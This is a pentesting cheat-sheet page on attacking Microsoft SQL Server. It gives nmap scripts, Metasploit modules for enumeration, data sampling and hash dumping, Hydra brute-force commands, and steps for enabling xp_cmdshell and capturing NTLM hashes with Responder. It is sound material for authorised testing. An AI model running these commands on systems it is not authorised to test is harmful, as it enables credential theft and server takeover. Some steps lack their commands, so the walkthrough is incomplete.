Page cover

MSSQL (Microsoft SQL) Pentesting

MSSQL is a relational database management system. A default port is 1433.

nmap --script ms-sql-info -p 1433 <target-ip>
nmap --script ms-sql-config -p 1433 <target-ip>
nmap --script ms-sql-empty-password,ms-sql-xp-cmdshell -p 1433 <target-ip>
nmap --script ms-sql-* -p 1433 <target-ip>

# Metasploit
msfconsole
msf> use admin/mssql/mssql_enum
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
Copied!

hydra -L usernames.txt –p password <target-ip> mssql
hydra -l username –P passwords.txt <target-ip> mssql
Copied!

If we connected MSSQL using impacket, we can exeucte the Windows Shell Commands by "enable_xp_cmdshell".

We can execute commands the same as Windows Command Prompt.

MSSQL uses Keberos to authenticate users so we can retrieve the NTLM hash.

First we need to start a SMB server and Responder in each terminal.

In msfconsole, select the following module.

We need to set the “SMBPROXY” option to the Responder IP (this ip is displayed when starting Responder in terminal).

When executing, we can see the NTLM hash in the terminal where SMB server is running.

References

Last updated